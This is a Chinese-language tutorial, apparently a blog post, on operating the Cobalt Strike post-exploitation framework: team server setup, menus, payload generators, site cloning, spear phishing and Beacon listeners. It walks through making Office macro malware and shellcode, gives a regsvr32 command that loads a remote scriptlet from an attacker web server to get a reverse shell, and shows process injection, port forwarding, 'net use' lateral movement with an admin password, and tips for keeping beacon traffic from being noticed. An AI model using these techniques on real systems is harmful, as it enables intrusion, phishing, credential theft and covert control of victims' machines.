CobaltStrike渗透框架

CobaltStrike渗透框架
hihopkcCobaltStrike渗透框架
CobaltStrike框架介绍
CobaltStrike简介
Cobalt Strike(简称为CS)是一款团队作战渗透测试神器,是一种可以用来进行横向移动、数据窃取、鱼叉式钓鱼的后渗透工具,分为客户端和服务端,一个客户端可以连接多个服务端,一个服务端也可以对应多个客户端连接。
CobaltStrike 目录结构
cobaltstrike.store :
此证书用来加密 Cobalt Strike 和客户端通信,带有默认 hash 而且比较敏感,建议自己生成一个
1  | keytool -list -v -keystore cobaltstrike.store  | 
TeamServer.prop :包含很多参数用于自定义用于验证屏幕截图和 keylog 回调数据的设置
CobaltStrike基本使用
CS安装
运行环境配置
1、Linux 安装 JDK
1  | apt search java | grep jdk  | 
2、Windows 安装 JDK
下载JDK:
https://www.oracle.com/java/technologies/downloads/#java8-windows
Oracle公共账号密码:http://bugmenot.com/view/oracle.com
3、环境变量配置
1  | Java_Home => C:\Program files\jdk1.8.0_216  | 
CS启动
- 启动服务端
 
1  | chmod +x teamserver // 给与权限  | 
- 启动客户端
 
1  | ./cobaltstrike  | 
- Alias :别名,用户名@服务端IP地址
 - Host :服务端 IP 地址,可为域名
 - Port :服务端口号,默认 50050 ,可进行修改
 - User :用户名,可随意填写,只要不冲突即可
 - Password :登录密码,启动服务端时设置的密码
 
CS工具栏
- Connect to team server :连接服务端
 - Disonnect from team server :断开当前服务端连接
 - Configure Listeners :配置监听器
 - Show sessions in graph view :展示会话列表
 - Show sessions in table view :展示视图列表
 - Show targets in table view :展示目标列表
 - Credentials :查看从靶机获取的账户密码
 - Downloaded Files :查看从靶机下载的文件
 - Keystrokes :查看键盘记录
 - Screenshots :查看屏幕截图
 - Generate Windows Executable (Stageless) :生成无状态的 EXE 木马
 - Setup java Signed Applet Attack :开启Web服务为自签名 Java Applet 提供运行环境
 - MS Office Macro Attack :生成 OFFICE 宏病毒文件
 - Setup Scripted Web-Delivery (Stageless) :开启 Web 服务,供下载和执行Payload
 - Host a file :开启 Web 服务,供下载文件
 - Manage Web Server :管理 Web 服务
 - Help :帮助文档
 - About :关于 Cobalt Strike
 
CS菜单
- New Connection :进行另外一个连接,支持连接多个服务器端
 - Preferences :设置 Cobal Strike 界面、控制台、以及输出报告样式TeamServer 连接记录
 - Visualization :主要展示输出结果的形式
 - VPN Interfaces :设置VPN接口
 - Listenrs :创建一个 Listener
 - Script Manager :脚本管理
 - Close :退出连接
 
View菜单
- Applications :显示受害主机的应用信息,浏览器版本信息
 - Credentials :显示所有已获取的受害主机的凭证,如使用hashdump、Mimikatz获取到的密码凭证信息
 - Downloads :查看已下载文件
 - Event Log :主机上线记录以及团队协作聊天记录
 - Keystrokes :查看键盘记录结果
 - Proxy Pivots :查看代理模块
 - Screenshots :查看所有屏幕截图
 - Script Console :脚本控制台,加载第三方脚本以增强功能
 - Targets :显示所有受害主机
 - Web Log :所有访问Web服务的日志记录
 
Playloads菜单
HTML Application
VBScript脚本基础
VBScript 是微软公司出品的脚本语言。 VBScript 是ASP (Active Server Pages)默认使用的脚本语言
1  | <script language="VBScript">  | 
- 声明变量
 
1  | Dim var_obj  | 
-
  变量赋值
可以为某个变量赋值,如下所示:
1  | var_shellcode = "4d5a90000300"  | 
变量名是在表达式的左侧,需要赋给变量的值在表达式的右侧。
- 函数程序
 
是一系列的语句,被封装在 Function 和 End Function 语句内
可执行某些操作,并会返回值
可带有通过程序调用来向其传递的参数。
如果没有参数,必须带有空的圆括号 ()
通过向函数程序名赋值的方式,可使其返回值
1  | Function myfunction()  | 
或者
1  | Function myfunction(argument1,argument2)  | 
- 调用程序
 
1  | <!DOCTYPE html>  | 
<!DOCTYPE html>
<html>
<body>
<script type="text/vbscript">
    Function myfunction(a,b)
    myfunction=a+b
    End Function
    document.write(myfunction(5,6))
</script> 
<p>A Function procedure can return a result.</p>
</body>
</html>
-
  条件语句
条件语句用于根据不同的情况执行不同的操作
在 VBScript 中,我们可以使用四种条件语句:
If 语句 - 假如您希望在条件为 true 时执行一系列的代码,可以使用这个语句
If…Then…Else 语句 - 假如您希望执行两套代码其中之一,可以使用这个语句
If…Then…ElseIf 语句 - 假如您希望选择多套代码之一来执行,可以使用这个语句
Select Case 语句 - 假如您希望选择多套代码之一来执行,可以使用这个语句
- 循环语句
 
循环语句用于运行相同的代码块指定的次数。
在 VBScript 中,我们可以使用四种循环语句:
For…Next 语句 - 运行一段代码指定的次数
For Each…Next 语句 - 针对集合中的每个项目或者数组中的每个元素来运行某段代码
Do…Loop 语句 - 运行循环,当条件为 true 或者直到条件为 true 时
While…Wend 语句 - 不要使用这个语句 - 请使用 Do…Loop 语句代替它
HTML Application
生成一个网页 Payload 。三种执行模式: Executable 、 PowerShell 、 VBA
Executable :是以十六进制的方式内嵌一个 EXE 到 HTA 里,运行时会把 exe 释放到磁盘然后创建进程运行
Powershell : HTA 调用 powershell.exe 执行 payload
VBA :通过调用 COM 组件来执行 payload (请确保目标机有 Excel.Application 组件否则会运行失败,注:组件源自 Office )
VB / VBS / VBA 介绍:https://blog.csdn.net/weixin_45797022/article/details/105400270
MS Office Macro
生成 Office 宏病毒文件
1  | Attacks -> Packages -> MS Office Macro -> Copy  | 
将代码放到 Word 宏里面,另存为启用宏的Word文档( *.docm ),受害者点击启用内容,即可上线。
https://www.hetianlab.com/expc.do?w=exp_ass&ec=ECIDa61a-4976-4ad8-8d6c-3ebc9a730ab1
Payload Generator
生成各类语言的 ShellCode
1  | C  | 
各种语言shellcode:
1  | C  | 
- COM Scriptlet
 
COM Scriptlet 是一种COM对象,它可以在 HTML 文件中嵌入脚本代码,并在客户端的浏览器中执行。当浏览器打开HTML页面时, COM Scriptlet 会被自动加载和执行,以便在客户端上运行脚本。
生成 payload.sct 文件,注意不要勾选 Use x64 payload 。
Regsvr32 命令用于注册 COM 组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。
1、执行本地 Com Scriptlet 获取反向 Shell
1  | regsvr32.exe /n /s /u /i:payload.sct scrobj.dll  | 
2、执行远程 Com Scriptlet 获取反向 Shell
把 payload.sct 文件托管到web服务器,或者使用 CobaltStrike 的 Host File 功能,使用如下方法加载执行上线。
1  | regsvr32 /u /s /i:http://192.168.164.133:801/do/file.ext scrobj.dll  | 
- Powershel
 
1  | powershell -ep bypass -f payload.ps1  | 
- Powershell Command
 
生成一句话 powershell 命令
- RAW
 
原始 shellcode ,无特殊格式
- Veil
 
配合 Veil-Framework 框架使用的 shellcode
1  | https://github.com/Veil-Framework/Veil  | 
Windows Executable
生成分阶段的攻击载荷
1  | Windows EXE  | 
Windows Executable(s)
生成不分阶段、独立的攻击载荷
生成可执行文件还有 powershell 以及动态链接库
1  | PowerShell  | 
Web Drive-by
- Manage :对开启的web服务进行管理
 - Clone Site :克隆网站,可以记录受害者提交的数据
 - Host File :提供一个文件下载,可以修改Mime信息
 - Scripted Web Delivery :为payload提供web服务以便下载和执行 类似于
 - Metasploit 的 web_delivery
 - Signed Applet Attack :使用java自签名的程序进行钓鱼攻击(该方式已过时)
 - Smart Applet Attack :自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
 - System Profiler :用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
 - Spear Phish :用来邮件钓鱼的模块,鱼叉钓鱼攻击
 
1、Manage
主要管理我们所创建的Payload以及各类PowerShell管理地址
2、Clone Site + System Profiler
https://www.hetianlab.com/expc.do?ce=0990110e-1a17-4969-b787-b58bc41b7d97
克隆网站,还可以通过克隆的网站实现钓鱼。
设置 System Profiler ,当输入后回车会跳转到正常的网页上以免被发现。
Attacks -> Web Drive-by -> System Profiler
设置 Clone Site
Attacks -> Web Drive-by -> Clone Site
记录目标键盘输入
3、Host File
提供一个文件下载服务,可以修改Mime信息
4、Scripted Web Delivery
开启一个web服务托管payload,并根据选择的类型生成一个命令行来执行 payload 上线
1  | exe:  | 
5、System Profiler
分析目标使用什么浏览器以及 Adobe 版本还有内部 IP 。
View -> Applications
这里可以前期信息收集所用,因为这种方法杀软以及浏览器是无法检测出来的,可以通过水坑式攻击来获取目标所用的软件以及操作系统来针对性的攻击。
Spear Phish
邮件钓鱼
Reporting菜单
Activity Report :本报告显示了此次参与的时间表。
Hosts Report :此报告显示了在此次参与期间收集的主机信息。
Indicators of Compromise :本报告记录了 Cobalt Strike 在此次攻击中产生的妥协指标。
Sessions Report :此报告逐个会话地记录活动。
Social Engineering Report :本报告记录了此项目的社会工程部分。
Tactics, Techniques, and Procedures :这份报告将 Cobalt Strike 的行动映射到 MITRE 的对抗战术、技术和常识( ATT&CK )矩阵。
Reset Data :此操作将清除 Cobalt Strike 的数据模型。将丢失收集的所有信息。将无法取回这些信息。
Export Data :导出数据
Help菜单
Homepage :访问 https://www.cobaltstrike.com 主页
Support :进入 https://www.cobaltstrike.com/support/ 页面
Arsenal :进入 https://download.cobaltstrike.com/scripts 页面
Malleable C2 Profile :查看使用的 C2 配置文件
System Information :提供有关 Cobalt Strike 客户端和服务器的信息
About :关于,查看 Cobalt Strike 版本相关信息
Beacon右键菜单
Interact:打开Beacon会话
Access
- Dump Hashes # 获取hash
 - Elevate # 提权
 - Golden Ticket # 生成黄金票据注入当前会话
 - Make token # 凭证转换
 - Run Mimikatz # 运行 Mimikatz
 - Spawn As # 用其他用户生成Cobalt Strike侦听器
 
- Explore
 
- Browser Pivot # 劫持目标浏览器进程
 - Desktop(VNC) # 桌面交互
 - File Browser # 文件浏览器
 - Net View # 命令Net View
 - Port Scan # 端口扫描
 - Process List # 进程列表
 - Screenshot # 截图
 
- Pivoting
 
- SOCKS Server # 代理服务
 - Listener # 反向端口转发
 - Deploy VPN # 部署VPN
 - Spawn:外部监听器 (如指派给MSF,获取meterpreter权限)
 
- Session
 
- Note # 备注
 - Remove # 删除
 - Sleep # 指定被控端休眠时间,默认60秒一次回传
 - Exit # 退出
 
CobaltStrike监听器详解
Beacon介绍
Beacon是Cobalt Strike运行在目标主机上的payload,Beacon在隐蔽信道上我们提供服务,用于长期控制受感染主机。它的工作方式与Metasploit Framework Payload类似。在实际渗透过程中,我们可以将其嵌入到可执行文件、添加到Word文档或者通过利用主机漏洞来传递Beacon。
Beacon在目标主机上运行之后,会主动向我们提前设置好的Listener发送请求信息
Team Server 控制器接收到请求后会检查是否有待执行的任务,如果有就会将任务下发到Beacon执行
默认的sleep时间:60s
Beacon分类
根据内置 Listener 的分类可以将Beacon进行分类,Listener是用来接收Beacon请求信息的
Cobalt Strike模块
- 内部beacon
 
- Beacon DNS
 - Beacon HTTP
 - Beacon HTTPS
 - Beacon SMB
 - Beacon TCP
 
- 外部beacon
 
与其他工具联合使用时才会使用到,一般用来派生会话到MSF
- Foreign HTTP
 - Foreign HTTPS
 
Beacon使用
在目标上线CS后,右键目标 interact 使用 Beacon
在Cobalt Strike中它的心跳默认是60s (即sleep时间为60s,每一分钟目标主机 Beacon 与teamserver 通信一次)
如果sleep时间过长,在下载文件时花费时间明显过长,所以在测试时会把时间降低一点 。
一般拿到 Beacon 后先执行 sleep 修改到合适的睡眠时间,根据实战环境来调节,建议不要太快,不然流量会很明显。
Beacon 中不能直接输入 cmd 命令,比如要让目标机执行ipconfig这条cmd命令,对应的beacon命
令是 shell ipconfig
其他的beacon命令,可以在beacon中输入help查看命令帮助信息
Beacon工作原理
Beacon HTTP/HTTPS
以HTTP或HTTPS协议建立Beacon连接
- HTTP Beacon payload连接到C2控制器,它会发起一个GET请求,获取来自C2控制器的执行操作任务
 - 如果C2控制器有要执行的任务,那么它会响应一组包含payload执行的所有任务的加密数据
 - 否则HTTP Beacon payload会返回到睡眠状态,我们可以在payload配置中设置时间周期。
 - 当Payload执行任务后产生输出时,HTTP Beacon payload会通过一个包含加密数据的POST请求发送给C2,这个POST请求中包含任务运行后的输出。如果没有输出,那么就没有这个POST请求。
 
通常创建一个简单的监听器,只需要配置以下选项即可:
Name:监听器名字
Payload:选择Beacon类型
HTTP Hosts:配置HTTP Beacon回连主机地址
HTTP Host (Stager):配置分阶段payload,Stager的请求地址,仅当Payload明确需要Stager配合时有效
HTTP Port (C2):配置HTTP Beacon回连的监听端口
Host Rotation Strategy:CS4.3新增,在beacon通信时,可以选择更多的轮询方案以逃避检测、阻断,beacon回连主机策略
Profile:Malleable C2 配置文件,用于自定义通信流量特征
HTTP Port (Bind):绑定监听端口,实现端口重定向
HTTP Host Header:设置内层真实域名,在使用域前置技术时使用
HTTP Proxy:为Payload指定代理
Beacon DNS
以DNS协议流量建立Beacon连接
- DNS Hosts:Beacon回连的主机,可以添加多个
 - Host Rotation Strategy:Beacon回连主机策略
 - HTTP Host (Stager):配置Stager主机,仅当Payload明确需要Stager配合时有效
 - Profile:Malleable C2配置文件,用于自定义通信流量特征
 - DNS Port (Bind):绑定监听端口,实现端口重定向
 - DNS Resolver:指定NS服务器
 
Beacon SMB
以SMB协议流量建立Beacon连接,适用于内网横向
1  | windows/beacon_smb/bind_pipe  | 
- 简介
 
SMB Beacon 使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子 Beacon 从父Beacon 获取到任务并发送。因为链接的 Beacon 使用 Windows 命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
- 前提条件
 
- 没有禁用IPC$连接、139和445端口、未使用防火墙等方式来阻止IPC$。
 - 目标机器开启了相关的IPC$服务。
 - 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
 - 只能链接由同一个 CobaltStrike实例管理的 Beacon。
 - 利用这种 Beacon 横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
 
上线目标主机shell
创建一个HTTP Beacon监听器,生成HTTP监听器木马文件,目标主机执行后上线Beacon会话
创建SMB监听器
1  | Name: smb  | 
派生SMB Beacon会话
右键HTTP Beacon会话,进入Beacon控制台,执行 spawn <SMB Beacon的监听器名称>
1  | spawn smb  | 
命令执行成功后,可以看到一个新的Beacon会话,在IP地址后面带有 ∞∞ 字
进程注入SMB Beacon
- inject
 
1  | Use: inject [pid] <x86|x64> [监听器]  | 
打开 [pid] 指定的进程并将 [监听器] 生成的 shellcode 注入到进程中运行
右键HTTP Beacon会话,进入Beacon控制台,执行 ps 命令查看主机所有进程信息,获取你想要注入shellcode的进程ID,然后执行如下命令:
1  | inject 11188 x64 smb  | 
命令执行成功后,可以看到一个新的Beacon会话,在IP地址后面带有 ∞∞ 字符。
上线不出网主机
- 会话中转
 
- 右键Beacon会话,设置监听器进行会话中转
 
转发监听器可以利用已攻陷的机器作为代理,为其他Beacon会话的中转网络流量,即内网其他机器可通过连接攻陷机器上线。
以上操作实际是在beacon控制台执行了如下命令:
1  | rportfwd 4445 windows/beacon_reverse_tcp  | 
1  | Use:  | 
绑定目标主机上的指定端口。当目标主机的 [绑定端口] 被访问时,Cobalt Strike Teamserver 将
与 [转发目的主机/端口] 建立连接,并使用Beacon在两个网络连接之间中继流量
- 使用上一步创建的监听器,生成木马文件
 - 利用smb上传到目标不出网主机,通过 IPC$ 、计划任务等方式运行木马文件
 
1  | shell net use \\192.168.1.3 /user:Administrator "qaz@WSX"  | 
- 成功上线不出网主机的Beacon会话, 该会话为被动连接,不操作的不会回连,如果中转机会话断掉,该会话也会断掉。
 
连接与断开连接
在Beacon控制台可以使用 unlink 命令断开连接,使用 link 重新连接目标
1  | Use: unlink [ip地址]  | 
1  | Use: link [目标] [管道名]  | 
1  | unlink 192.168.8.110 11188  | 
1  | link 192.168.8.110  | 
Beacon TCP
仅与父 Beacon 通信,适用于内网横向移动
windows/beacon_tcp/bind_tcp
命令格式同 smb 相似,不过此处连接目标IP的命令不是 link,而是 connect。取消连接目标机器的话对应的命令与 smb 同为 unlink
创建TCP监听器
1  | Name: tcp  | 
CS生成Payload
通过上一步创建的TCP监听器,生成 stageless 的 payload
目标主机执行
把上一步生成的Payload上传到目标主机执行,执行后会在目标主机监听配置监听器时配置的端口
连接上线Beacon
- connect
 
1  | Use: connect [目标]  | 
连接TCP Beacon并建立控制通道。所有对于TCP Beacon的命令请求都将通过当前Beacon会话,使用 “unlink” 命令来断开TCP Beacon
1  | connect 192.168.81.221  | 
Beacon命令
1  | beacon> help  | 


















